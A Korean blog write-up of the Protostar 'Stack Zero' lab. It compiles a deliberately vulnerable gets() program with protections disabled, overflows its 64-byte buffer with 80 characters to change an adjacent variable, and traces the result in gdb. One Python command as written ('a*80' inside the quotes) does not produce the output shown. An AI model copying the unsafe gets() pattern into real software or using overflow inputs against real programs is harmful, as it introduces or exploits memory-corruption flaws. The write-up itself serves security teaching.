Security_RNRF
STACK ZERO 본문
STACK ZERO
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
This level is at /opt/protostar/bin/stack0
Link - https://exploit.education/protostar/stack-zero/#source-code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
1. 파일 생성
root@kali:~/Desktop/protostar# geit ./stack0.c
2. 컴파일
root@kali:~/Desktop/protostar# gcc -z execstack -no-pie -w -o stack0 stack0.c
3. 파일 실행
root@kali:~/Desktop/protostar# ./stack0
4. 아무 값 입력을 통한 동작 파악
root@kali:~/Desktop/protostar# ./stack0
1111111111
Try again?
5. 코드 분석 (메모리 분석)
| buffer |
| modified |
| EBP |
| RET |
-> 즉, buffer를 가득 채워서 넘치게 하여, modified 변수에 값을 쓰게 하면 성공한다.
"if(modified != 0)" = "0"만 아니면 된다.
6. Python을 이용한 값 buffer에 넣을 값 생성
root@kali:~/Desktop/protostar# python -c "print('a*80')"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-> 여유있게 80개를 생성해준다.
7. 파일 실행
root@kali:~/Desktop/protostar# ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable
-> 성공했다는 문구가 출력된다.
* 리버싱을 통한 분석
root@kali:~/Desktop/protostar# gdb ./stack0
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0000000000401132 <+0>: push rbp
0x0000000000401133 <+1>: mov rbp,rsp
0x0000000000401136 <+4>: sub rsp,0x60
0x000000000040113a <+8>: mov DWORD PTR [rbp-0x54],edi
0x000000000040113d <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401141 <+15>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401148 <+22>: lea rax,[rbp-0x50]
0x000000000040114c <+26>: mov rdi,rax
0x000000000040114f <+29>: mov eax,0x0
0x0000000000401154 <+34>: call 0x401040 <gets@plt>
0x0000000000401159 <+39>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040115c <+42>: test eax,eax
0x000000000040115e <+44>: je 0x40116e <main+60>
0x0000000000401160 <+46>: lea rdi,[rip+0xea1] # 0x402008
0x0000000000401167 <+53>: call 0x401030 <puts@plt>
0x000000000040116c <+58>: jmp 0x40117a <main+72>
0x000000000040116e <+60>: lea rdi,[rip+0xebc] # 0x402031
0x0000000000401175 <+67>: call 0x401030 <puts@plt>
0x000000000040117a <+72>: mov eax,0x0
0x000000000040117f <+77>: leave
0x0000000000401180 <+78>: ret
End of assembler dump.
(gdb) b *main+42 -> 비교 구문인 "test eax,eax"에 BP를 걸어준다.
Breakpoint 1 at 0x40115c
(gdb) r -> 실행
Starting program: /root/Desktop/protostar/stack0
1234 -> "1234 입력"
Breakpoint 1, 0x000000000040115c in main ()
(gdb) disas main
Dump of assembler code for function main:
0x0000000000401132 <+0>: push rbp
0x0000000000401133 <+1>: mov rbp,rsp
0x0000000000401136 <+4>: sub rsp,0x60
0x000000000040113a <+8>: mov DWORD PTR [rbp-0x54],edi
0x000000000040113d <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401141 <+15>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401148 <+22>: lea rax,[rbp-0x50]
0x000000000040114c <+26>: mov rdi,rax
0x000000000040114f <+29>: mov eax,0x0
0x0000000000401154 <+34>: call 0x401040 <gets@plt>
0x0000000000401159 <+39>: mov eax,DWORD PTR [rbp-0x4]
=> 0x000000000040115c <+42>: test eax,eax
0x000000000040115e <+44>: je 0x40116e <main+60>
0x0000000000401160 <+46>: lea rdi,[rip+0xea1] # 0x402008
0x0000000000401167 <+53>: call 0x401030 <puts@plt>
0x000000000040116c <+58>: jmp 0x40117a <main+72>
0x000000000040116e <+60>: lea rdi,[rip+0xebc] # 0x402031
0x0000000000401175 <+67>: call 0x401030 <puts@plt>
0x000000000040117a <+72>: mov eax,0x0
0x000000000040117f <+77>: leave
0x0000000000401180 <+78>: ret
End of assembler dump.
-> 해당 BP에 걸려있는것을 확인할 수 있다.
(gdb) info reg $eax
eax 0x0 0
-> 아직 변조가 되지 않은 상태이다.
다시 한 번 실행해준다.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y -> 재시작
Starting program: /root/Desktop/protostar/stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -> 값 입력
Breakpoint 1, 0x000000000040115c in main ()
(gdb) disas main
Dump of assembler code for function main:
0x0000000000401132 <+0>: push rbp
0x0000000000401133 <+1>: mov rbp,rsp
0x0000000000401136 <+4>: sub rsp,0x60
0x000000000040113a <+8>: mov DWORD PTR [rbp-0x54],edi
0x000000000040113d <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401141 <+15>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401148 <+22>: lea rax,[rbp-0x50]
0x000000000040114c <+26>: mov rdi,rax
0x000000000040114f <+29>: mov eax,0x0
0x0000000000401154 <+34>: call 0x401040 <gets@plt>
0x0000000000401159 <+39>: mov eax,DWORD PTR [rbp-0x4]
=> 0x000000000040115c <+42>: test eax,eax
0x000000000040115e <+44>: je 0x40116e <main+60>
0x0000000000401160 <+46>: lea rdi,[rip+0xea1] # 0x402008
0x0000000000401167 <+53>: call 0x401030 <puts@plt>
0x000000000040116c <+58>: jmp 0x40117a <main+72>
0x000000000040116e <+60>: lea rdi,[rip+0xebc] # 0x402031
0x0000000000401175 <+67>: call 0x401030 <puts@plt>
0x000000000040117a <+72>: mov eax,0x0
0x000000000040117f <+77>: leave
0x0000000000401180 <+78>: ret
End of assembler dump.
-> 해당 BP에 걸려있는것을 확인할 수 있다.
(gdb) info reg $eax
eax 0x61616161 1633771873 -> modified 변수에 "aaaa"가 가득 차 있는것을 확인할 수 있다.
확인하는김에 스택의 값도 확인해준다.
(gdb) x/30gx $rsp
0x7fffffffe0f0: 0x00007fffffffe238 0x00000001ffffe126
0x7fffffffe100: 0x6161616161616161 0x6161616161616161
0x7fffffffe110: 0x6161616161616161 0x6161616161616161
0x7fffffffe120: 0x6161616161616161 0x6161616161616161
0x7fffffffe130: 0x6161616161616161 0x6161616161616161
0x7fffffffe140: 0x6161616161616161 0x6161616161616161
0x7fffffffe150: 0x0000000000401100 0x00007ffff7e1109b
0x7fffffffe160: 0x0000000000000000 0x00007fffffffe238
0x7fffffffe170: 0x0000000100040000 0x0000000000401132
0x7fffffffe180: 0x0000000000000000 0xbf2c379243b40de3
0x7fffffffe190: 0x0000000000401050 0x00007fffffffe230
0x7fffffffe1a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe1b0: 0x40d3c8eda2540de3 0x40d3d8d040320de3
0x7fffffffe1c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe1d0: 0x0000000000000000 0x00007fffffffe248
-> 그렇다면 modified의 위치는?
"rbp-0x4"이다.
(gdb) info reg $rbp
rbp 0x7fffffffe150 0x7fffffffe150
-> 즉, "0x7fffffffe150-0x4" 이다. 해당 modified 변수에 값이 "0x6161616161616161"으로 채워진 것을 알 수 있다.
'Reversing > Protostar' 카테고리의 다른 글
| STACK FIVE (0) | 2022.07.10 |
|---|---|
| STACK FOUR (0) | 2022.07.07 |
| STACK THREE (0) | 2022.07.05 |
| STACK TWO (0) | 2022.07.04 |
| STACK ONE (0) | 2022.07.03 |